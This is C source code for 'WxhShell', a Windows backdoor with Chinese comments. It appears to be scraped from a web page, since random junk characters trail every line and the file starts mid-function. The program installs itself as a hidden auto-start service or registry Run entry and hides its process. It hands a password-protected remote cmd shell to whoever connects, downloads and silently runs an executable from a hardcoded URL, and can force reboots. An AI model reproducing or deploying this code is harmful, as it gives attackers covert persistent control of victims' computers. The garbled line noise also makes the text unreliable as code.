    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (/YC\x?  
    if(Boot(SHUTDOWN)) mk\U wv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i?=3RdP/R1  
    else { {DN c7G  
    closesocket(wsh); SNvK8,"g  
    ExitThread(0); $pk3d+0B  
    } k`g+    
    break; w2]1ftY  
    } `RGZ-Q{_  
  // 获取shell ';aPoaO %  
  case 's': { x(}tr27o  
    CmdShell(wsh); I.x0$ac7  
    closesocket(wsh);  >o.u,  
    ExitThread(0); ;x^&@G8W`  
    break; RB/[(4  
  }  (i*1M  
  // 退出 w**.8]A"N  
  case 'x': { >qtB27jV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `m2F.^qrr  
    CloseIt(wsh); DDAqgx  
    break; $#R.+B  
    } W\eB   
  // 离开 w2{k0MW  
  case 'q': { ]`m|A1(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m.K"IXD  
    closesocket(wsh); ]?``*{Zqy  
    WSACleanup(); ;k b^mJE  
    exit(1); !YJdi~q  
    break; AX'(xb,  
        } }i[i{lKj  
  } t ?bq ~!X  
  } w-/bLg[L?$  
s #L1:L  
  // 提示信息 [Hd^49<P2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *otJtEI>6  
} Yf{s0Z  
  } $,i:#KT`  
K:'pK1zy  
  return; FC]? T  
} *3"C"4S  
9HTb  
// shell模块句柄 xmiF!R  
int CmdShell(SOCKET sock) R63"j\0  
{ Y}1|/6eJ  
STARTUPINFO si; &OI=r vDmo  
ZeroMemory(&si,sizeof(si)); FNc[2sI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  o{-PT'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /c'#+!19  
PROCESS_INFORMATION ProcessInfo; }1R k]$XC  
char cmdline[]="cmd"; {+C>^b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QJ"B d`wc  
  return 0; !]kn=7  
} +e ?ixvld  
yvH:U5%  
// 自身启动模式 d=>5%$:v  
int StartFromService(void) 0*g psS  
{  h@W}xT  
typedef struct |d%Dw^  
{ QyHUuG|g  
  DWORD ExitStatus; y|MW-|0=!  
  DWORD PebBaseAddress; t4gD*j6J3  
  DWORD AffinityMask; (5yg\3Jvp  
  DWORD BasePriority; "sg$[)I3n  
  ULONG UniqueProcessId; i}wu+<Mk  
  ULONG InheritedFromUniqueProcessId; hJd#Gc~*M  
}   PROCESS_BASIC_INFORMATION; (Mtc&+n{  
 =_ rn8  
PROCNTQSIP NtQueryInformationProcess; V7lDuiAI  
-q+Fj;El  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0A1l"$_|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2&tGJq-E  
u|QfCwQ  
  HANDLE             hProcess; 6eS#L21*  
  PROCESS_BASIC_INFORMATION pbi; :=i0$k<E/  
wh*OD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q1?2 U<  
  if(NULL == hInst ) return 0; x7NxHTL  
,%KB\;1mn'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ( j-(fS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >Mvt;'c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^2mXXAQf7^  
}>Os@]*'^(  
  if (!NtQueryInformationProcess) return 0; w:umr#  
a#raUF7e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8AefgjE  
  if(!hProcess) return 0; ]AHUo;(f%  
cA/2,i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dUe"qH29s  
{Ua5bSbh  
  CloseHandle(hProcess); {X"X.`p  
jM7}LV1Ck  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); + u)'  
if(hProcess==NULL) return 0; zM@iG]?kc  
2<988F  
HMODULE hMod; *50Ykf  
char procName[255]; Aga7X@fV(  
unsigned long cbNeeded; ikxSWO_Y=  
hG ]jm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |Pj _L`G  
\DQ;v  
  CloseHandle(hProcess); Jx{,x-I  
H/L3w|2+  
if(strstr(procName,"services")) return 1; // 以服务启动 X`aED\#\h  
.7kVC  
  return 0; // 注册表启动 @C!q S7k)  
} ED$gnFa3I  
gf3/kll9  
// 主模块 yGD0}\!n  
int StartWxhshell(LPSTR lpCmdLine) \4vFEJSh  
{ xeHu-J!P  
  SOCKET wsl; O! j@8~='  
BOOL val=TRUE; p[/n[@<8=  
  int port=0; XBr>K> (  
  struct sockaddr_in door; z?gJHN<  
7P\sn<  
  if(wscfg.ws_autoins) Install(); FcWu#}.p}  
B[$SA-ZHi  
port=atoi(lpCmdLine); Lte\;Se.tu  
Awr]@%I  
if(port<=0) port=wscfg.ws_port; 5S7Z]DXiT8  
CY 7REF  
  WSADATA data; v(t&8)Uu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; | 'z)RFqj  
I+<;D sp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &G"]v]V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XSxya .1  
  door.sin_family = AF_INET; 3 (}?f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A5/h*`Q\\  
  door.sin_port = htons(port); t)m4"p7  
8ziYav  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bZlAK)  
closesocket(wsl); !PQRlgcG  
return 1; z[k2&=c  
} DMf9wB  
P;y/`_jo  
  if(listen(wsl,2) == INVALID_SOCKET) { xp &I~YPH  
closesocket(wsl); 9rid98~d  
return 1; q OXL(  
} m0#hG x  
  Wxhshell(wsl); w%ip"GT,  
  WSACleanup(); ^Gyl:hN  
%kUJ:lg;d  
return 0; !*cf}<Kmw  
},"g*  
} mb/3 #)  
O^<6`ku  
// 以NT服务方式启动 D{4 Y:O&J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e-s@@k  
{ Vnl~AQfk|  
DWORD   status = 0; #2MwmIeA  
  DWORD   specificError = 0xfffffff; h\dIp`H  
%*/[aq,#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iKK=A.g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K)14v;@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4 '+)9&g  
  serviceStatus.dwWin32ExitCode     = 0; $wN.~"T  
  serviceStatus.dwServiceSpecificExitCode = 0; k]JLk"K  
  serviceStatus.dwCheckPoint       = 0; Q\r qG  
  serviceStatus.dwWaitHint       = 0; i3GvTg-X  
t"L:3<U7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2KG j !w  
  if (hServiceStatusHandle==0) return; jab]!eY  
J\%:jg( m  
status = GetLastError(); G]SE A  
  if (status!=NO_ERROR) _+. t7q^  
{ z=xHk|+'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3}+/\:q*  
    serviceStatus.dwCheckPoint       = 0; h1Lp:@:|  
    serviceStatus.dwWaitHint       = 0; 5FzRusNiA  
    serviceStatus.dwWin32ExitCode     = status; *K)v&}uw  
    serviceStatus.dwServiceSpecificExitCode = specificError; s=$7lYX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5>=tNbk"s  
    return; AVJk  
  } F>M$|Sc2  
Y[H_?f=;%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |B n=$T]  
  serviceStatus.dwCheckPoint       = 0; *Z]| Z4Q/`  
  serviceStatus.dwWaitHint       = 0; _(jE](,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qYh,No5\;t  
} bXW)n<y  
sH]AB =_  
// 处理NT服务事件,比如:启动、停止 RgO 7> T\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T/K.'92S  
{ Z^|C~lp;n  
switch(fdwControl) y((_V%F}  
{ y"hM6JI  
case SERVICE_CONTROL_STOP: rEf\|x=st:  
  serviceStatus.dwWin32ExitCode = 0; TAi\#cnl(6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E,|n'  
  serviceStatus.dwCheckPoint   = 0; C0W~Tk\C2  
  serviceStatus.dwWaitHint     = 0; v Y\O=TZT  
  { |x4yPYBL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [vi4,'wm  
  } Po_OQJ:bd  
  return; <7 rK  
case SERVICE_CONTROL_PAUSE:  LJ))  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e.+)0)A-  
  break; <It7s1O  
case SERVICE_CONTROL_CONTINUE: @}Ixr{t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Lwcw%M]  
  break; ;Y '\:  
case SERVICE_CONTROL_INTERROGATE: </Id';|v  
  break; h=tu +pn  
}; 16y$;kf8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c-T ^ aR  
} gh}AD1TN]  
>(rB[ZJ  
// 标准应用程序主函数 ^;3rdBprm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rrWk&;?  
{ L8zqLD i&  
a7|&Tbv  
// 获取操作系统版本 ;40m goN  
OsIsNt=GetOsVer(); <f6PULm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J){\h-4  
ZX;k*OrW  
  // 从命令行安装 }^<zVdwp  
  if(strpbrk(lpCmdLine,"iI")) Install(); O}-7 V5  
{|h"/   
  // 下载执行文件 Qzhnob#C9  
if(wscfg.ws_downexe) { -X[[ OR9+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \?^wu  
  WinExec(wscfg.ws_filenam,SW_HIDE); PQ]9xzOg[  
} G7;}309s  
EM*Or Ue  
if(!OsIsNt) { LPn }QzH  
// 如果时win9x,隐藏进程并且设置为注册表启动 #<PdZl R  
HideProc(); 5Nb_K`Vp*  
StartWxhshell(lpCmdLine); ehusI-q  
} 5)7mjyo%  
else /vDF<HVzm  
  if(StartFromService()) S7/v ,E  
  // 以服务方式启动 \,!q[nC  
  StartServiceCtrlDispatcher(DispatchTable); D:E_h  
else ;QQ7vo  
  // 普通方式启动 5#)<rK  
  StartWxhshell(lpCmdLine); HdUW(FZ  
yTt (fn:;  
return 0; ->&VbR)  
} ~k0)+D}  
*F*fH>?C#  
0|!<|N<  
B9DxV>mr\r  
=========================================== mtQ{6u  
$jm<' 4  
$-?5Q~  
}.cmiC  
yn[ZN-H~  
b DS1'Ce  
" ^(JHRH~=h  
.GN$H>')  
#include <stdio.h> "EYj Y->  
#include <string.h> >Ron+ oe  
#include <windows.h> r)]CZ])  
#include <winsock2.h> 50aWFJYw  
#include <winsvc.h> ^]a#7/]o  
#include <urlmon.h> }` != m  
6w(6}m.L^  
#pragma comment (lib, "Ws2_32.lib") GP:77)b5  
#pragma comment (lib, "urlmon.lib") R5 9S@MsuD  
OC<5E121>Y  
#define MAX_USER   100 // 最大客户端连接数 w$`5g  
#define BUF_SOCK   200 // sock buffer e^[H[d.WMC  
#define KEY_BUFF   255 // 输入 buffer }t%!9hr5D  
)_i qAqkS  
#define REBOOT     0   // 重启 ?Vdia:  
#define SHUTDOWN   1   // 关机 52,m:EhL  
L>a  
#define DEF_PORT   5000 // 监听端口 V` 1/SQX  
q11>f   
#define REG_LEN     16   // 注册表键长度 o17ekML  
#define SVC_LEN     80   // NT服务名长度 /gu%:vq  
ykX/9y+-s  
// 从dll定义API naw0$kXTA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8qEVOZjV&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vOc 9ZE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '_/Bp4i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,J{ei7TN  
f1_<G  
// wxhshell配置信息 OI0;BBZ  
struct WSCFG { $a"n1ou  
  int ws_port;         // 监听端口 j"|=C$Kn/  
  char ws_passstr[REG_LEN]; // 口令 !/3B3cG  
  int ws_autoins;       // 安装标记, 1=yes 0=no !cAyTl(_  
  char ws_regname[REG_LEN]; // 注册表键名 j.L-{6_s>~  
  char ws_svcname[REG_LEN]; // 服务名 Ffv`kn@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PUBWZ^63  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -!N&OZ+R   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e*;c(3>(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ulkJR-""&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /U"CO8Da  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eL\;Nf+Zp  
<B6&I$Wc+  
}; 8$ma;U d  
j/nWb`#y  
// default Wxhshell configuration )p~BQ~eip;  
struct WSCFG wscfg={DEF_PORT, ^*S)t. "  
    "xuhuanlingzhe", @g$Gti  
    1, N%"Y  
    "Wxhshell", }`v~I4i  
    "Wxhshell", 3`ELKq  
            "WxhShell Service", v {jQek4  
    "Wrsky Windows CmdShell Service", .Jrqm  
    "Please Input Your Password: ", ghX|3lI\q  
  1, krC{ed  
  "http://www.wrsky.com/wxhshell.exe", ~YRDyQ:%T  
  "Wxhshell.exe" Mc%Nf$XQ  
    }; UF<uU-C"  
fe_yqIdk  
// 消息定义模块 $n+w$CI)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;ml)l~~YU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;r>snJ=M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gUpb4uN  
char *msg_ws_ext="\n\rExit."; #z2rzM@/:  
char *msg_ws_end="\n\rQuit."; IuOgxm~Y  
char *msg_ws_boot="\n\rReboot..."; bLQ ^fH4ww  
char *msg_ws_poff="\n\rShutdown..."; ;+<&8.=,)  
char *msg_ws_down="\n\rSave to "; 1!1 beR]  
&b?LP]   
char *msg_ws_err="\n\rErr!"; `(f!*Ru@/z  
char *msg_ws_ok="\n\rOK!"; sM?MLB\Za  
%T)oCjM[\  
char ExeFile[MAX_PATH]; H N.3  
int nUser = 0; u\LFlX0sO  
HANDLE handles[MAX_USER]; q|v(Edt|_[  
int OsIsNt; ]"1`+q6i  
I-WhH>9  
SERVICE_STATUS       serviceStatus; 0em#-*|2"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YR>B_,Gl  
B,K>rCZ/  
// 函数声明 FcRW;e8-  
int Install(void); _jNj-)RB_  
int Uninstall(void); |/2y-[;:  
int DownloadFile(char *sURL, SOCKET wsh); (A?H1 9  
int Boot(int flag); C#t'Y*  
void HideProc(void); 9XRZ$j}L  
int GetOsVer(void); N^pJS6cJkl  
int Wxhshell(SOCKET wsl); <oWB0%  
void TalkWithClient(void *cs); q@@T]V6  
int CmdShell(SOCKET sock); 6q]5Es<  
int StartFromService(void); 72X0Tq 4  
int StartWxhshell(LPSTR lpCmdLine); 8g:;)u4$P  
BVr0Gk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GW$.lo1|)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +[ R/=$  
3$m4q`J  
// 数据结构和表定义 2Ri{bWi  
SERVICE_TABLE_ENTRY DispatchTable[] = /}PF\j9#4  
{ @*qz(h]\  
{wscfg.ws_svcname, NTServiceMain}, C":o/;,1  
{NULL, NULL} '^Ql]% _  
}; MH{GR)ng:9  
05spovO/'  
// 自我安装 ;[W"mlM  
int Install(void) <IC~ GqXv  
{ g q}I[N  
  char svExeFile[MAX_PATH]; 2A\,-*pc  
  HKEY key; W ]Nv33i [  
  strcpy(svExeFile,ExeFile); Ci<ATho  
}yJ$SR]t  
// 如果是win9x系统,修改注册表设为自启动 -,+q#F  
if(!OsIsNt) { CWNx4)ZGw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^ mS o1?<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |6(ZD^w  
  RegCloseKey(key); B"v.* %"&/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7\9>a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {qmdm`V[  
  RegCloseKey(key); o.'g]Q<}UB  
  return 0; TP"1\O  
    } %^8^yZz  
  } /-qxS <?o  
} :LQ5 u[g$\  
else { h~(D@/tB  
!O#dV1wAa  
// 如果是NT以上系统,安装为系统服务 {fEwA8Ir  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lr{?"tl_  
if (schSCManager!=0) ' /$d0`3B>  
{ 4lM8\Lr  
  SC_HANDLE schService = CreateService S3@ |Q\*r  
  ( KrXdnY8  
  schSCManager, svuq gSn  
  wscfg.ws_svcname, .p=sBLp8  
  wscfg.ws_svcdisp, *0}3t <5  
  SERVICE_ALL_ACCESS, ^kgBa27  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .-IkL |M  
  SERVICE_AUTO_START, !Yw3 d   
  SERVICE_ERROR_NORMAL, TD9;kN1`  
  svExeFile, Xu>r~^w=S  
  NULL, r)1'ePI"  
  NULL, ! /NG.Wf  
  NULL, J%jB?2 1:o  
  NULL, c= x,ijY "  
  NULL qt3PXqR7 :  
  ); cI=r+ OGk*  
  if (schService!=0)  :Mcu  
  { \o Eo~  
  CloseServiceHandle(schService); 2PeR   
  CloseServiceHandle(schSCManager); E^rbcGJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =Me5ft w  
  strcat(svExeFile,wscfg.ws_svcname); K^3co  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^<:sdv>Y5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GV^i`r^"  
  RegCloseKey(key); C-?%uF  
  return 0; Q3 eM2i8Y  
    } S<L.c  
  } W?We6.%  
  CloseServiceHandle(schSCManager); sz9G3artK&  
} <97d[/7i  
} Sje wuIi1  
JIFU;*PR1  
return 1; #CnHf  
} nD0}wiL{  
I0'[!kBF|  
// 自我卸载 T /mI[*1xI  
int Uninstall(void) \(PohwWWo  
{ _kdL'x  
  HKEY key; )' hH^(Yu  
dDD<E?TjD  
if(!OsIsNt) { #9m$ N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d7&eLLx  
  RegDeleteValue(key,wscfg.ws_regname); )m&U#S _;  
  RegCloseKey(key); =L5GhA~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `g_"GE  
  RegDeleteValue(key,wscfg.ws_regname); 2o9$4{}rG  
  RegCloseKey(key); S8l1"/?aHE  
  return 0; {66fG53x  
  } c\q   
} r,]#b[:.s|  
} QeDQ o  
else { ?hR7<02  
3-%Cw2ds  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P1U*g!  
if (schSCManager!=0) Pe_!?:vF  
{ /{{UP-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y?)}8T^  
  if (schService!=0) Jj= ;  
  { WA$>pG5s  
  if(DeleteService(schService)!=0) { `Rd m-[&  
  CloseServiceHandle(schService); CAU0)=M  
  CloseServiceHandle(schSCManager); 0vGyI>  
  return 0; $x#FgD(iI  
  } D&ve15wL  
  CloseServiceHandle(schService); /oL;YIoQX  
  }  x-'~Bu  
  CloseServiceHandle(schSCManager); XG@`ZJhU6  
} J@ L9p46,  
} $f pq 3  
~aXqU#8  
return 1; &(a(W22O  
} JTqq0OD}  
Gs*G<P"  
// 从指定url下载文件 BYM3jXWi0v  
int DownloadFile(char *sURL, SOCKET wsh) R|P_GN6 >  
{ 4<X!<]3]  
  HRESULT hr; |3{&@7  
char seps[]= "/"; npDIX  
char *token; zD)pF1,7:8  
char *file; DOQc"+  
char myURL[MAX_PATH]; !>(RK"KWq]  
char myFILE[MAX_PATH]; OI0B:()  
@+Y8*Rj\3  
strcpy(myURL,sURL); =9G;PVk|  
  token=strtok(myURL,seps); -.<k~71  
  while(token!=NULL) +y#T?!jQYj  
  { O%f8I'u$  
    file=token; [,~TaP}m  
  token=strtok(NULL,seps); -/D|]qqHm  
  } 46h@j>/K  
_Hd{sd#xX1  
GetCurrentDirectory(MAX_PATH,myFILE); vU*x2fVb}  
strcat(myFILE, "\\"); W"Jn(:&  
strcat(myFILE, file); #Rew [\$  
  send(wsh,myFILE,strlen(myFILE),0); w# * 1/N  
send(wsh,"...",3,0); %@R~DBS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XMRNuEU  
  if(hr==S_OK) Z?^"\u-  
return 0; @ 2_<,;$  
else aj ~bt-cE  
return 1; ]bgY6@M  
#*c F8NV-  
} 'ZQWYr9R  
tVqmn  
// 系统电源模块 X8<2L 2:  
int Boot(int flag) #)`A7 $/,  
{ Fvxu >BK  
  HANDLE hToken; X['2b78k  
  TOKEN_PRIVILEGES tkp; ~SjZk|  
nMoWOP'  
  if(OsIsNt) { pGIe=Um0W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [rreFSy#@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); np WEop>  
    tkp.PrivilegeCount = 1; vtMJ@!MN;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]]cYLaq(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S^cH}-+  
if(flag==REBOOT) { P|^$kK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z}.D" P+  
  return 0; W3Ulewa  
} |*,jU;NI  
else { ~]8p_;\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {$^SP7qV#>  
  return 0; {6xPdUhw  
} ,fnsE^}.U  
  } u8OxD  
  else { =V|Nn0E  
if(flag==REBOOT) { ?Ay3u^X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y5-kj,CB  
  return 0; 16@);Ot  
} 'H FKBp  
else { g]`bnZ7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $Kq<W{H3ut  
  return 0; &.*uc|{  
} 4w{-'M.B  
} M^H90GN)X  
Dw |3Z  
return 1; _2jw,WKr  
} DMkhbo&+  
4&N$:j<  
// win9x进程隐藏模块 aed+C:N  
void HideProc(void) Q[s 2}Z!N;  
{ JfTfAq]  
-NDi5i\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jX|=n.#q  
  if ( hKernel != NULL ) j 0 Y  
  { 3C"_$?y"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Bp0bY9xLg_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3c u9[~K  
    FreeLibrary(hKernel); w &vhWq  
  } w4{y "A  
k,X74D+  
return; IT1P Pm  
} nC~fvyd<P  
:l~EE!  
// 获取操作系统版本 ~|R[O^9B  
int GetOsVer(void) >I-g[*  
{ S\|^ULrH  
  OSVERSIONINFO winfo; n+quSF)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0VIZ=-e  
  GetVersionEx(&winfo); k_Tswf3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <bdyAUeFw  
  return 1;  9d"5wx  
  else l^,qO3ES  
  return 0; SOH%Q_  
} d~<QAh#rG  
wsfysat$  
// 客户端句柄模块 /Ri,>}n  
int Wxhshell(SOCKET wsl) 8ath45G@  
{ ih!~G5Xi9i  
  SOCKET wsh; 1#D<ZN  
  struct sockaddr_in client; A7(M,4`6  
  DWORD myID; QUPf *3Oy  
hb! ln7  
  while(nUser<MAX_USER) C*O ,rm}  
{ bpMl =_  
  int nSize=sizeof(client); M]B3vPA/v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3G&0Ciet  
  if(wsh==INVALID_SOCKET) return 1; ~@YQ,\Y  
\[T{M!s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .Qfnd#  
if(handles[nUser]==0) U"B.:C2  
  closesocket(wsh); Vr\Q`H.  
else .\)k+ R  
  nUser++; qsvpW%?aE  
  } OT+Ee  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i7f%^7!  
fqX~xp  
  return 0; \[k% )_  
} l% |cB93  
C.HYS S  
// 关闭 socket k<,u0  
void CloseIt(SOCKET wsh) &GU@8  
{ /p}{#DLB  
closesocket(wsh); *]'qLL7d  
nUser--; F(E<,l2[  
ExitThread(0); .ujj:>  
} {Ve D@  
SJOmeN}4)  
// 客户端请求句柄 *pK lA&_  
void TalkWithClient(void *cs) Oh-Fp-v87  
{ H%cp^G  
yXXvs'$R \  
  SOCKET wsh=(SOCKET)cs; Q^|6J#o[9  
  char pwd[SVC_LEN]; wlL8X7+:  
  char cmd[KEY_BUFF]; 0`Gai2\1@  
char chr[1]; R|H[lbw  
int i,j; = uk`pj  
lY->ucS %P  
  while (nUser < MAX_USER) { 1XGG.+D  
enPLaiJ'|q  
if(wscfg.ws_passstr) { 94+/wzWvi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W'V@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >"bnpYSe  
  //ZeroMemory(pwd,KEY_BUFF); -+' #*V  
      i=0; `1$y(w]  
  while(i<SVC_LEN) { k%^<}s@  
~ z>BfL  
  // 设置超时 Wk,6) jS=}  
  fd_set FdRead; i[8NO$tN1)  
  struct timeval TimeOut; b^%?S8]h  
  FD_ZERO(&FdRead); &8waih(|  
  FD_SET(wsh,&FdRead); $mD>r x  
  TimeOut.tv_sec=8; ret0z|  
  TimeOut.tv_usec=0; bz$Qk;m=H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Liij{ahm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &:q[-K@!  
\.kTe<.:_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9='=-;@/5  
  pwd=chr[0]; IJldN6&\q  
  if(chr[0]==0xd || chr[0]==0xa) { 2 mSD"[%  
  pwd=0; 7:h<`_HT(X  
  break; #TIX_RXh  
  } n+X1AOE[L  
  i++;  :4{Qh  
    } v8>!Gft  
o|0 '0P  
  // 如果是非法用户,关闭 socket Vk WO}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]u;GNz}?  
} 90?,-6  
V8\$`NEP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [4ee <J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T ^N L:78  
t18UDR{  
while(1) { v&e-`.xR  
%8a=mQl1^  
  ZeroMemory(cmd,KEY_BUFF); q%DVDq( z  
Q5hb0O%a  
      // 自动支持客户端 telnet标准   0n\^$WY  
  j=0; w[e0wh`.  
  while(j<KEY_BUFF) { >/8ru*Oc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I'xC+nL@  
  cmd[j]=chr[0]; R04.K !  
  if(chr[0]==0xa || chr[0]==0xd) { c1PViko,>  
  cmd[j]=0; C?{D"f`[]  
  break; <sO?ev[  
  } >6XDX=JVI  
  j++; c%jsu"  
    } bd} r#^'K  
y-%nJD$  
  // 下载文件 Xm%iPrl D  
  if(strstr(cmd,"http://")) { DL %S(l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  xQX<w\s  
  if(DownloadFile(cmd,wsh)) +O&RBEa[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l_bL,-|E8  
  else ]NbX`'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +g)_4fV0|  
  } ,Y$F7&  
